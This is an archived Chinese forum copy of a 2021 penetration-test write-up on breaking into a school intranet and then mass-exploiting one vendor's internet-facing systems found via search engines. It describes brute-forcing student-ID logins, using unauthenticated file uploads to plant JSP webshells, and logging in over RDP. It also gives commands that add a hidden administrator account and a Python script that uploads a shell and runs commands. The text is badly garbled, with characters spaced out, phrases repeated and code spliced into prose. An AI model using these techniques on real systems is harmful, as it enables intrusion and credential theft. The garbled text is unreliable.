搜索

[7608] 2021-05-26_实战一次从内网到外网，黑盒到白盒的批量挖洞经历qaq

文档创建者：s7ckTeam
浏览次数：26
最后更新：2025-01-17
2021-05-26_实战一次从内网到外网，黑盒到白盒的批量挖洞经历qaq 实 战   |   一 次 从 内 网 到 外 网 ， 黑 盒 到 白 盒 的 批 量 挖 洞 经 历 q a q C h a l l e n g e r   F 1 2 s e c   2 0 2 1 - 0 5 - 2 6 收 录 于 话 题   # 实 战 分 享   , 2 8 个 前 言 前 言 “ 申 明 申 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 其 它 用 途 ！ 本 文 由 团 队 师 傅 本 文 由 团 队 师 傅 C h a l l e n g e r 创 作 。 创 作 。 已 在 先 知 社 区 发 布 已 在 先 知 社 区 发 布 ” P a r t   1   内 网 渗 透 内 网 渗 透 内 网 挖 洞 ： 内 网 挖 洞 ： 建 议 像 我 这 样 入 门 不 久 的 可 以 拿 自 己 学 校 内 网 练 练 手 先 （ 得 授 权 ） ， 赢 得 认 可 ， 获 取 些 动 力 ， 再 在 在 教 育 行 业 建 议 像 我 这 样 入 门 不 久 的 可 以 拿 自 己 学 校 内 网 练 练 手 先 （ 得 授 权 ） ， 赢 得 认 可 ， 获 取 些 动 力 ， 再 在 在 教 育 行 业 S R C 等 漏 洞 平 台 上 挖 掘 漏 洞 。 等 漏 洞 平 台 上 挖 掘 漏 洞 。 < 大 佬 的 当 我 没 说 大 佬 的 当 我 没 说 0 . 0 > 向 信 息 中 心 的 老 师 申 请 了 对 学 校 进 行 内 网 渗 透 测 试 的 授 权 之 后 ， 便 开 始 信 息 收 集 （ 亮 神 说 的 ： 渗 透 的 本 质 是 信 息 收 集 ） 。 向 信 息 中 心 的 老 师 申 请 了 对 学 校 进 行 内 网 渗 透 测 试 的 授 权 之 后 ， 便 开 始 信 息 收 集 （ 亮 神 说 的 ： 渗 透 的 本 质 是 信 息 收 集 ） 。 因 为 在 工 作 室 辅 助 运 维 也 知 道 服 务 器 多 在 因 为 在 工 作 室 辅 助 运 维 也 知 道 服 务 器 多 在 1 0 . 1 0 . 0 . 0 / 2 4 这 网 段 ， 这 里 我 用 这 网 段 ， 这 里 我 用 G o b y 对 该 网 段 收 集 存 活 对 该 网 段 收 集 存 活 i p 和 端 口 。 和 端 口 。 内 网 一 堆 漏 洞 内 网 一 堆 漏 洞 e m m ， 然 后 就 可 以 用 大 佬 的 ， 然 后 就 可 以 用 大 佬 的 w e b a l i v e s c a n 批 量 扫 一 下 批 量 扫 一 下 G o b y 得 的 存 活 得 的 存 活 i p ， 获 取 标 题 ， ， 获 取 标 题 ， w e b 指 纹 识 别 和 简 单 的 爆 破 一 些 目 录 指 纹 识 别 和 简 单 的 爆 破 一 些 目 录 工 具 地 址 ： 工 具 地 址 ： h t t p s : / / g i t h u b . c o m / b r o k e n 5 / W e b A l i v e S c a n 然 后 先 挑 带 登 录 标 题 的 ， 目 录 扫 描 到 登 录 的 或 敏 感 目 录 的 软 柿 子 开 干 ， 发 现 然 后 先 挑 带 登 录 标 题 的 ， 目 录 扫 描 到 登 录 的 或 敏 感 目 录 的 软 柿 子 开 干 ， 发 现 x x 教 学 平 台 教 学 平 台
没 有 验 证 码 爆 破 ， 当 然 有 的 有 验 证 码 也 可 能 虚 的 ， 根 据 自 己 学 号 推 测 没 有 验 证 码 爆 破 ， 当 然 有 的 有 验 证 码 也 可 能 虚 的 ， 根 据 自 己 学 号 推 测 例 如 例 如   2 0 1 8 * *   一 般 是 根 据 一 般 是 根 据   入 校 年 数 入 校 年 数 + 专 业 专 业 + 班 级 班 级 + * * 来 设 定 的 ， 爆 破 后 来 设 定 的 ， 爆 破 后 4 位 得 到 弱 口 令 ： 位 得 到 弱 口 令 ： 2 0 1 8 * *         1 2 3 4 5 6 然 后 常 规 的 ： 然 后 常 规 的 ： x x x – > 控 制 面 版 控 制 面 版 – > 上 传 头 像 上 传 头 像 – > G e t s h e l l 。 。 当 然 很 多 当 然 很 多 j s p 马 都 没 兼 容 ， 试 了 挺 多 这 大 佬 的 马 都 没 兼 容 ， 试 了 挺 多 这 大 佬 的 j s p 马 才 成 功 马 才 成 功 h t t p s : / / g i t h u b . c o m / t h r e e d r 3 a m / J S P - W e b s h e l l s 直 接 直 接 a d m i n i s t r a t o r 权 限 ， 提 权 都 省 了 权 限 ， 提 权 都 省 了 外 网 批 量 ： 外 网 批 量 ： 上 面 图 有 ： 上 面 图 有 ： 技 术 支 持 ： 技 术 支 持 ： x x 公 司 公 司 F O F A 搜 索 关 键 词 ： 搜 索 关 键 词 ： x x x 有 限 公 司 有 限 公 司
然 后 挑 一 个 站 ， 爆 破 ， 然 后 挑 一 个 站 ， 爆 破 ， x x 学 校 ， 学 号 通 过 谷 歌 语 法 来 搜 集 。 学 校 ， 学 号 通 过 谷 歌 语 法 来 搜 集 。 如 果 收 集 不 到 如 果 收 集 不 到 , 大 多 学 校 学 号 是 如 下 规 律 大 多 学 校 学 号 是 如 下 规 律 : 2 0 0 1   0 0 7 7 入 学 的 时 间 入 学 的 时 间 + 报 到 位 次 报 到 位 次 2 0 1 8   0 3 1   0 1   0 5 入 校 年 数 入 校 年 数 + 专 业 专 业 + 班 级 班 级 + * * 2 0 1 8   1   1 7   0 0 1       入 学 年 入 学 年 + 1 本 科 学 生 本 科 学 生 + 1 7 x x 招 生 专 业 代 号 ， 招 生 专 业 代 号 ， 0 0 1 这 专 业 第 一 个 学 生 。 这 专 业 第 一 个 学 生 。 爆 破 失 败 ， 才 恍 然 大 悟 ， 可 能 未 授 权 文 件 上 传 呢 。 爆 破 失 败 ， 才 恍 然 大 悟 ， 可 能 未 授 权 文 件 上 传 呢 。 于 是 在 于 是 在 b u r p 将 将 H O S T 地 址 改 成 目 标 的 地 址 ， 发 送 数 据 包 地 址 改 成 目 标 的 地 址 ， 发 送 数 据 包 一 发 入 魂 ， 成 功 上 传 图 片 一 发 入 魂 ， 成 功 上 传 图 片 , 改 改 j s p 也 没 问 题 ， 欧 克 妥 妥 的 未 授 权 文 件 上 传 ！ 也 没 问 题 ， 欧 克 妥 妥 的 未 授 权 文 件 上 传 ！ 该 网 站 该 网 站 G e t s h e l l 后 尝 试 后 尝 试 3 3 8 9 登 录 ： 登 录 ： 登 录 后 在 其 桌 面 翻 到 敏 感 信 息 ： 测 试 账 号 和 默 认 密 码 登 录 后 在 其 桌 面 翻 到 敏 感 信 息 ： 测 试 账 号 和 默 认 密 码 同 时 这 只 是 该 公 司 的 一 个 系 统 ， 又 扩 展 到 其 它 系 统 ： （ 也 大 多 成 功 上 传 ） 同 时 这 只 是 该 公 司 的 一 个 系 统 ， 又 扩 展 到 其 它 系 统 ： （ 也 大 多 成 功 上 传 ） n e t   u s e r   m s t l a b   m s t l a b   / a d d   :   添 加 用 户 并 设 置 密 码 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   m s t l a b   / a d d   :   将 用 户 加 入 管 理 组
但 有 些 系 统 还 是 不 行 ， 于 是 用 测 试 账 号 登 录 发 现 这 些 系 统 的 第 二 处 未 授 权 文 件 上 传 ， 很 老 的 但 有 些 系 统 还 是 不 行 ， 于 是 用 测 试 账 号 登 录 发 现 这 些 系 统 的 第 二 处 未 授 权 文 件 上 传 ， 很 老 的 F C K e d i t o r ， 可 运 行 哥 斯 拉 马 ， 可 运 行 哥 斯 拉 马 至 此 该 公 司 的 系 统 基 本 通 杀 至 此 该 公 司 的 系 统 基 本 通 杀 E x p l o i t 编 写 ： 编 写 ： 当 然 少 量 写 个 当 然 少 量 写 个 h t m l 文 件 上 传 就 文 件 上 传 就 o k 了 ， 这 里 较 多 站 就 写 个 一 键 返 回 了 ， 这 里 较 多 站 就 写 个 一 键 返 回 s h e l l 脚 本 。 下 面 的 已 脱 敏 脚 本 。 下 面 的 已 脱 敏 P a r t   2   代 码 审 计 代 码 审 计 内 网 挖 洞 ： 内 网 挖 洞 ： 白 盒 审 计 白 盒 审 计 : 最 近 刚 好 入 门 了 最 近 刚 好 入 门 了 j a v a   w e b 开 发 ， 虽 然 开 发 ， 虽 然 G e t s h e l l 了 ， 但 也 得 了 解 漏 洞 原 理 吧 。 于 是 就 打 包 源 码 ， 代 码 审 计 一 下 ， 看 一 下 漏 洞 原 理 了 ， 但 也 得 了 解 漏 洞 原 理 吧 。 于 是 就 打 包 源 码 ， 代 码 审 计 一 下 ， 看 一 下 漏 洞 原 理 源 码 一 般 在 源 码 一 般 在 T o m c a t   的 的   w e b a p p s   目 录 或 者 目 录 或 者   i m p o r t   r e q u e s t s #   读 取 w e b s h e l l 文 件 ， f i l e   =   o p e n ( ' s h e l l . t x t ' ,   ' r ' , e n c o d i n g = ' u t f - 8 ' ) s h e l l   =   f i l e . r e a d ( ) # s h e l l = " " "   < %     o u t . p r i n t l n ( " j u s t 4 t e s t ！ " ) ;   % >     " " " h e a d e r s   =   {   " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 " } c o o k i e s = { " J S E S S I O N I D " : " 4 F 0 A D E A D B 7 0 A D 1 8 9 2 2 C 8 C 4 3 6 8 3 7 A 5 A 3 D " ,   } #   输 入 目 标 u r l   =   i n p u t ( " i n p u t   t h e   T A R G E T ( e x a m p l e : [ u r l ] h t t p s : / / 1 2 7 . 0 . 0 . 1 : 1 0 8 0 [ / u r l ] ) > " ) #   定 义 上 传 目 录 u p l o a d _ u r l   =   u r l + " / x x x ? a c t i o n = x x " # f i l e 参 数 f i l e s   =   { ' f i l e 1 ' :   ( ' 1 . p n g ' ,   o p e n ( ' l o g o . p n g ' ,   ' r b ' ) ,   ' i m a g e / p n g ' ) } f i l e s   =   { ' f i l e ' :   ( " s h e l l . j s p " ,   s h e l l ,   " i m a g e / p n g " ) } #   参 见 p o s t 内 容 u p l o a d _ d a t a   =   { " s t a r t " :   " f o r u m _ u p d a t e _ s e t " ,   " f o r u m _ u p d a t e _ s e t " :   " u p d a t a c o r d " ,   " f o r u m _ n i c k " :   " 1 1 " ,   " f o r u m _ s i g n a t u r e " :   "   " ,   " f o r u m _ p i c _ 2 " :   "   " ,   } #   上 传 u p l o a d _ r e s   =   r e q u e s t s . p o s t ( u p l o a d _ u r l ,   h e a d e r s = h e a d e r s , c o o k i e s = c o o k i e s ,   d a t a = u p l o a d _ d a t a ,   f i l e s = f i l e s ) #   此 时 会 返 回 上 传 文 件 的 路 径 p a t h   =   u p l o a d _ r e s . t e x t #   解 析 返 回 值 获 取 上 传 地 址 p a t h   =   p a t h [ p a t h . f i n d ( ' d a t a ' ) + 4 : p a t h . r f i n d ( ' j s p ' )   ] #   再 结 合 路 径 s h e l l _ u r l   =   u r l + " / d t a " + p a t h + " j s p ? c m d = w h o a m i " #   返 回 结 果 ， 默 认 是 s y s t e m 权 限 p r i n t ( ' s h e l l   i s   h e r e : ' + s h e l l _ u r l )
T o m c a t   下 的 下 的   c o n f   目 录 目 录 C a t a l i n a l o c a l h o s t   下 的 配 置 文 件 下 的 配 置 文 件 有 自 定 义 源 码 工 程 路 径 ： 如 有 自 定 义 源 码 工 程 路 径 ： 如 a b c . x m l 内 容 ： 内 容 ： 访 问 这 个 工 程 的 路 径 如 下 访 问 这 个 工 程 的 路 径 如 下 : h t t p : / / i p : p o r t / a b c /   就 表 示 访 问 就 表 示 访 问   E : b o o k   目 录 目 录 然 后 我 在 然 后 我 在 T o m c a t   的 的   w e b a p p s   找 到 源 码 并 用 哥 斯 拉 的 打 包 找 到 源 码 并 用 哥 斯 拉 的 打 包 第 一 个 文 件 上 传 ： 第 一 个 文 件 上 传 ： 首 先 查 看 首 先 查 看 w e b . x m l , 看 看 全 局 的 配 置 以 及 路 由 ， 先 看 看 看 全 局 的 配 置 以 及 路 由 ， 先 看 f i l t e r 过 滤 过 滤 , 可 以 看 到 可 以 看 到 f i l t e r 类 类 Q D K F i l t e 的 位 置 的 位 置 但 我 们 的 源 码 没 有 对 应 的 但 我 们 的 源 码 没 有 对 应 的 j a v a 文 件 或 者 类 ， 便 看 文 件 或 者 类 ， 便 看 j a v a 依 赖 有 对 应 的 依 赖 有 对 应 的 j a v a 包 包 x x x . j a r 反 编 译 用 反 编 译 用 I D E A 的 插 件 的 插 件 “ J a v a   B y t e c o d e   D e c o m p i l e r ” ， 插 件 安 装 使 用 可 自 行 百 度 ， 插 件 安 装 使 用 可 自 行 百 度 反 编 译 成 功 后 得 到 对 应 反 编 译 成 功 后 得 到 对 应 x x . j a r , 注 意 要 解 压 生 成 的 注 意 要 解 压 生 成 的 j a r 包 ， 即 可 得 到 包 ， 即 可 得 到 j a v a 源 码 源 码 然 后 然 后 f i l t e r 类 类 Q D K F i l t e 代 码 代 码 经 过 混 淆 经 过 混 淆 , 太 烦 杂 太 烦 杂 , 太 多 了 并 没 找 到 太 多 了 并 没 找 到 s e s s i o n 如 何 验 证 。 。 。 。 大 佬 请 勿 喷 如 何 验 证 。 。 。 。 大 佬 请 勿 喷 0 . 0 我 是 菜 鸡 我 是 菜 鸡 然 后 文 件 上 传 漏 洞 然 后 文 件 上 传 漏 洞 w e b . x m l 可 以 看 到 文 件 上 传 的 类 可 以 看 到 文 件 上 传 的 类 < ! – C o n t e x t   表 示 一 个 工 程 上 下 文   , p a t h   表 示 工 程 的 访 问 路 径 : / a b c   , d o c B a s e   表 示 你 的 工 程 目 录 在 哪 里 – > < C o n t e x t   p a t h = ” / a b c ”   d o c B a s e = ” E : b o o k ”   / >
v a r 1 3 从 全 局 函 数 获 取 传 递 的 参 数 和 值 从 全 局 函 数 获 取 传 递 的 参 数 和 值 然 后 然 后 g e t F i l e E x t e n d N a m e （ （ v a r 1 3 ） ） 直 接 获 取 后 缀 名 并 直 接 拼 接 起 来 ， 然 后 创 建 文 件 直 接 获 取 后 缀 名 并 直 接 拼 接 起 来 ， 然 后 创 建 文 件 跟 进 跟 进 g e t F i l e E x t e n d N a m e （ ） （ ） 是 直 接 获 取 后 缀 的 是 直 接 获 取 后 缀 的 第 二 个 文 件 上 传 漏 洞 的 上 传 路 径 是 第 二 个 文 件 上 传 漏 洞 的 上 传 路 径 是 找 到 对 应 的 文 件 ： 找 到 对 应 的 文 件 ： 和 上 面 的 类 似 用 和 上 面 的 类 似 用 g e t F i l e E x t e n d N a m e （ ） （ ） 直 接 获 取 后 缀 的 然 后 拼 接 没 白 黑 名 单 直 接 获 取 后 缀 的 然 后 拼 接 没 白 黑 名 单 如 果 对 你 有 帮 助 的 话 如 果 对 你 有 帮 助 的 话 那 就 长 按 二 维 码 ， 那 就 长 按 二 维 码 ， 关 注 关 注 我 们 吧 ！ 我 们 吧 ！     实 战   |   简 单 的 s q l 注 入 与 脚 本 的 编 写     记 一 次 相 对 完 整 的 渗 透 测 试     实 战   |   一 次 简 单 的 信 息 收 集 到 g e t s h e l l 的 过 程   右 下 角 求 赞 求 好 看 ， 喵 ~ h t t p : / i p : 8 0 8 0 / x x x / F C K e d i t o r / e d i t o r / x x x / j s p / u p l o a d . j s p

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理